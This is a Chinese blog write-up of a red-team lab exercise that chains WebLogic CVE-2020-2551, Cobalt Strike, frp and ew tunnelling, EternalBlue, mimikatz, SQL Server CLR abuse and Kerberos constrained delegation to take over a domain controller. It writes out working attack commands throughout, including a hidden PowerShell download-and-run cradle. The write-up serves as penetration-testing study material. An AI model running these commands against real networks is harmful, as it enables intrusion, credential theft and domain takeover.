从外网 Weblogic 打进内网,再到约束委派接管域控205359

从外网 Weblogic 打进内网,再到约束委派接管域控(复现)

靶场官方:渗透攻击红队(微信公众号)

https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488950&idx=1&sn=48d93f1fac38eae99cc4e78474eb557c&chksm=c172cfaaf60546bc3f4bfee09181c0f3f07b0c8ba5e9d9a9a0ee92ffc734aff8fe94acb2967c&mpshare=1&scene=23&srcid=1108Dj1vgEkUTeAGMQSHtdZu&sharer_sharetime=1636354180149&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

0x01 靶场配置

攻击机1:win10 192.168.0.193

攻击机2:kali 192.168.0.105

靶机: 192.168.0.154 weblogic服务器,其他在域内

测试:

xray扫一下weblogic 有CVE_2020_2551

直接一把梭,有admin账户且出网

image-20211110180406788

image-20211110174428216

image-20211110174640624

query process查看当前进程

image-20211110180816025

可以看到是无AV的,都不需要做免杀

直接Powershell 上线到 CobaltStrike:

cs-attack-payload Generator -powshell command生成命令shell

放入利用工具里执行

好奇怪 我本机都可以上线,但是发现weblogic服务器就是上不了线,开http上传beacon.exe并运行也不能上线

后来发现ping不了我的kali(cs服务器),原来设置到第一层网络去了

得把kali的桥接模式设成物理机

image-20211110194820326

ok 成功上线

image-20211110195429152

看到改机器有两个网卡

hashdump下来

image-20211110195709019

既然有第二个网卡,进行域内信息手机

凸(艹皿艹 ),扫半天没扫出来,才发现我pc靶机没打开(用巨龙拉冬9.0多口探测)

image-20211110201549508

扫到了这个

巨龙拉冬扫一下龙洞

image-20211110202205165

ms17-010

端口转发>cs派生给msf

利用cs自带开个SOCKS端口image-20211110202557195

然后msf连接

1
setg Proxies socks4:192.168.0.105:7000

image-20211110205943146

attack

1
2
3
4
5
6
7
8
9
10
11
msf6 > setg ReverseAllowProxy true

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 > set payload windows/x64/meterpreter/bind_tcp

msf6 > set rhost 10.10.20.7

msf6 > run


打不进去,是因为cs自带的socks的不稳定性

直接用cs创建msf监听器试一下,然后msf打开监听即可

1
2
3
4
5
6
7
use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhoat 192.168.0.105

set lport 1234

image-20211111114245958image-20211111114236102

这里又产生了个误区,这样的派生结果还是进入了10.10.20.12的meterpreter,好家伙之前学的那些ew啥的考自己搭的环境去学都没能真正学到知识,还得是实战配合工具才能学到知识

用frp建立一个 socks5 隧道试试

kali配置文件 frps.ini,然后运行:

image-20211111135927103

image-20211111134358022

之后来到目标跳板机器运行 frpc:

当然是先上个shell上传frp文件

放temp文件夹是因为一般都是temp文件夹的权限比较高,当然我们现在是administrator

当然这里我用的是cs的frp插件

image-20211111140541110

这个插件用起来看不懂咋用,应该是将frpc.ini传到指定文件夹,下面这个框写下这个目录就行

image-20211111142152835

不过我直接将这个插件里面文件夹的exe直接传过去配合之前传的frpc.ini然后

1
shell frpc.exe -c frpc.ini

image-20211111142720421

image-20211111142244819

省的麻烦

image-20211111142814692

建立好 socks5 隧道后 Metasploit 对其利用拿到 Meterpreter 会话:

1
2
3
4
5
6
msf6 > setg Proxies socks5:192.168.0.105:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

image-20211111144538232

image-20211111144649356

ok

image-20211111144803194

通过调用 mimikatz 成功抓到其域用户的密码

load mimikatz

creds_all

image-20211111145232823

image-20211111145329988

解一下hash

1
2
Username  Domain   Password
saul REDTEAM admin!@#45

中转上线到 CobaltStrike 进行二层内网域渗透 有几种方法

1.meterpreter配置端口外带到cs,方法地址如下,不行 进的使meterpreter

http://www.caiyuhuan.com/index.php/article/lian_fengdingbin_/132.html

2.设置中转(反向代理)

因为此 Win7 不出网,随后只能通过 CobaltStrike 设置中转:

这里换了kali:192.168.0.124

操作:

image-20211111161315991

image-20211111161308168

image-20211111161503437

image-20211111161553739

然后用这个监听器生成一个exe程序,然后用meterpreter的upload上传到10.10.20.7

然后在用meterpreter调用cmd运行它

1
upload /var/tmp/FrpProPlugin-mainfrp0.33可转发至cs/beacon.exe C:\\windows\\system32\

image-20211111164206425

1
execute -f C:\\windows\\system32\beacon.exe

或cs创建powershell.ps

直接merterpreter执行cmd执行powershell

execute怎么样都上不了线,本地把载荷也传过去,也上不了线

其他方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
电脑带不动了:一周学习新思路小插曲:
1.chcp 65001后可以使meterpreter摆脱cmd乱码执行cmd命令 no

2.meterpreter先stuid提权在执行命令试试 no

3.试试那个wblogic靶场可不可以放个c2.exe到10.10.20.7 看下能不能上线

4.看看10.10.20.7能不能出网,能出网的话直接反向连接到cs服务器

5.或者直接跳过这个上线阶段,通过meterpreter进行域渗透

6.https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247494697&idx=1&sn=fe344059f859c43f6c9621aafd82f4aa&chksm=cf4e6348f839ea5e10ccac6529e6097545b8087d1302d7a148467436f7ab123b01724ac2464d&mpshare=1&scene=23&srcid=1118HRmMzE7nYwTFY8HsvrF4&sharer_sharetime=1637199481433&sharer_shareid=d6f91fc924ad833bb5231d972b990ef9#rd

cs配合msf的别的方法(利用meterpreter)

7.在上传frp把它代理出来
8.将cs载荷带进内网

ok 内存条换了,继续

1方法和2方法是我直接再10.10.20.7放中转后的payload并运行都不能上线,所以这些也没用

3方法因为c2对二层网络没用,所以这不算是方法

4方法因为目标不能出网,所以不行

5方法暂时不管

这里用6试试

因为拿到了,meterpreter,试试创建钓鱼站点并使靶机运行poweshell连接上线

这里在CS中利用Attacks-> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:

image-20211121165837437

主机地址和端口就是钓鱼站点,因为我们看了内网中转监听,把主机地址 和监听器都换成

10.10.20.12试试

image-20211121165212413

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.20.12:80/a'))"

image-20211121170132881

不行

后来用靶机ping一下10.10.20.12发现ping不通= =

image-20211121170314353

但是我们msf用10.10.20.12可以打进10.10.20.7,但是10.10.20.7ping不通10.10.20.12

这个应该使防火墙设置原因,和其它无关

image-20211121172451306

可以看到两个权限不一样

meterpreter运行cd c:\users\saul\desktop

dir

beacon.exe试一下

image-20211121173403553

看下cs还是不能上线

7.frp代理

image-20211121180229882

好的 还是不行。原来是没有搭建域环境,累了

先整其他的靶场吧

好了 其他靶场整完额,先改一下这些虚拟机的dns和ip

第一层192.168.0

第二层10.10.20

第三层10.10.10

10.10.20.7 ping不了10.10.20.12是因为10.10.20.12网络发现没有打开

现在kaliip为192.168.0.124

好 先把之前做过的再做一遍:yellow_heart:

image-20211130190143912

果然是网络配置的问题(weblogic服务器主机配置了“关闭网络发现”)

image-20211130190200699

为什么启动不了网络发现

有意思的是一开始我关闭网络发现后全是10.10.20.7ping不了10.10.20.12

后来我启用网络发现后直接关闭这个窗口了 然后去10.10.20.7那台主机

发现可以ping10.10.20.12,但是当我再次打开这个窗口时发现此时是“关闭网络发现”

但是两者都是可以互相ping通的,我也不知道啥原因

1.按下WIN+R,然后输入services.msc 回车

2、然后检查以下几个服务,看是否为启动状态;

  Function Discovery Resource Publication

  SSDP Discovery

  UPnP Device Host

image-20211130191635347

image-20211130191750030

这样就可以

那么上述步骤怎么用指令来操作呢

这就需要逐步cmd或者powshell指令操作了

但是目前只找到了可以cmd直接打开services.msc,但是你用cs执行这个命令的话是回显不出来的,但是人家电脑上看的到:joy: 把这个列为未来计划 后来加以补充

后面找到了还有这些方法

方法二:

reg add 将新的子项或项添加到注册表中

  语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]

这种命令叫DOS命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
参数

  KeyName

  指定子项的完全路径。对于远程计算机,请在\\ComputerName\PathToSubkey中的子项路径前包含计算机名称。忽略ComputerName会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为HKLM、HKCU、HKCR、HKU以及HKCC。

  /v EntryName

  删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。

  /ve

  指定只可以删除为空值的项。

  /va

  删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。

  /f

  无需请求确认而删除现有的注册表子项或项。

  /?

  在命令提示符显示帮助。
1
2
3
4
5
6
7
8
9
cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f(任务栏里的任务管理器为灰色)

  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f(删除MSConfig启动里的未勾选项目)

  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe" /f(删除CTFMON的镜像劫持)

  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v IconStreams /f

  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v PastIconsStream /f(删除通知区域的历史记录)

而注册表和服务在(权限维持)后门持久化中也占有重要作用:开代理和挂载荷啥的

参考:https://www.baidu.com/link?url=Zemob89xtz4ZFM1uQG4ftTrPUbN_Lb9NpehE3Gr-s9iDDblEz9T-SOM1d0CqE3ejmpsfMv4t09FWnxsYMsGOGaN53ZD8ACzPOAvSbv0LaUe&wd=&eqid=e34484b600034bfd0000000661a72954

https://www.cnblogs.com/fanyf/p/4221488.html

这里又不得不提到一个后门持久化的图形化工具了

,当然也可以直接使用reg命令打开(说实话reg命令不太好搞,因为不知道各个指令的详细操作(对应工具的部位命令),后面会做一次专题)。不过其实也不需要用到图形化工具,reg里面可以直接用,重要的还是要使用命令启用reg

就是说,我都能启用图形化工具了,那我直接去regit里面创建服务不就行了。还不用下载工具

不过工具多的是稳定性(怕你不会配置啥的):sheep:

有个工具nnsm 可以看这个

https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247492683&idx=1&sn=03023cbaf80496045a1cf936a7ffb41d&chksm=ce5dc62af92a4f3c9930c7603b59117f36e8c5f6f76775a4370de83de6f3847e53e38901a28e&mpshare=1&scene=23&srcid=1130tq01JPNO0cLQpaPGxWRz&sharer_sharetime=1638271197400&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

怎样启动网络发现(用指令)

那实战中遇到这种情况有什么方法吗?

首先要把防火墙关掉是肯定的

win7(其他版本还没试过,不过应该都行)有下面几个个方法

  1. 新建一个记事本文件,在里面输入内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    @echo off
    :Win7网络发现依赖的服务:
    :Dnscache DNS Client
    :SSDPSRV SSDP Discovery
    :PlugPlay Plug and Play
    :FDResPub Function Discovery Resource Publication 功能发现资源发布
    sc query SSDPSRV|findstr /i "SSDPSRV state"
    sc query Dnscache|findstr /i "Dnscache state"
    sc query PlugPlay|findstr /i "PlugPlay state"
    sc query FDResPub|findstr /i "FDResPub state"
    sc config SSDPSRV start= AUTO
    sc config Dnscache start= AUTO
    sc config PlugPlay start= AUTO
    sc config FDResPub start= AUTO
    sc start SSDPSRV
    sc start Dnscache
    sc start PlugPlay
    sc start FDResPub

    然后保存为TurnOnNetworkDiscovey.bat。

    双击运行TurnOnNetworkDiscovey.bat

继续继续

image-20211130193820591

先提权

再shell net user /domain看下域用户

image-20211130193855997

net group “Domain Controllers” /domian 定位到域控 DC IP 为:10.10.10.8

图片

拿DC、

首先当前进程是没有域管的,所以暂且放弃令牌窃取:

image-20211201165829111

传个Adfind上去

1
AdFind 一款C++编写的域内查询信息的工具 
1
shell AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20211201171644695

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密。

传个fscan上去扫一下

1
shell fscan.exe -np -h 10.10.10.0/24

image-20211201172138319

发现 sqlserver 这台机器开放了 80、1433(mssql):

ew配合sock64加代理一下railgun对sql进行爆破

image-20211201172809091

这次代理就有难度了

因为10.10.10.18是在第三层

而win主机在第一层,ping不到第三层。

刚好ew是适合三层代理的

先分析一下局势

win是192.168

第二层是(192.168.0.154)10.10.20.12 (10.10.20.7)10.10.10.7

第三层代理地址 10.10.10.7 目标10.10.10.18

kali执行

1
./ew_for_Linux32 -s lcx_listen -l  1080   -e 1024

10.10.20.12执行

1
ew_for_Win.exe -s ssocksd    -l 9999

10.10.10.7执行

1
ew_for_Win.exe -s lcx_slave  -d 192.168.0.124 -e 1024 -f 10.10.20.12 -g 9999

image-20211201181632862

无法连接 哪里出了问题?

image-20211201183329083

image-20211201183334564

这两个都开着 但是没连上

换一个 将weblogic的命令改为

1
ew_for_Win.exe -s lcx_tran   -l  1080   -f 10.10.20.12 -g 9999

不管了 那就直接开3389

image-20211201194201408

多重开启 (10.10.20.7和10.10.20.12 都开)

image-20211201194617548

image-20211201195017882

ok

目标是 iis,那么想办法找到 iis 到目录写个一句话吧。

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在:

存在是存在 但是不能写文件

使用 SharpSQLTools 开启目标 clr:

1
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

image-20211201195805667

然后启用并调用命令:

1
2
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

这下子就是一个系统权限了!

随后添加了一个管理员:

但还是不能写一句话

还是用 MSF 把:

exploit/windows/mssql/mssql_clr_payload

image-20211201200102319

然后找到了一个可读可写目录上传 exe 成功,然后中转再上线到 CobaltStrike:

image-20211201200125464

image-20211201200809694

image-20211201200817177

成功上线

提个权

image-20211201201127547

mimikatz抓一下密码

image-20211201201537348

1
user : redteam\sqlserverpass : Server12345

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过

约束委派攻击来接管域控。

1.利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

1
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

2.然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgtredteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifsowa.redteam.red@REDTEAM.RED.kirbi

1
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

3.使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

1
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20211201203619660

image-20211201204022128


从外网 Weblogic 打进内网,再到约束委派接管域控205359
http://example.com/从外网 Weblogic 打进内网,再到约束委派接管域控205359.html
Author
CDxiaodong
Posted on
December 1, 2021
Licensed under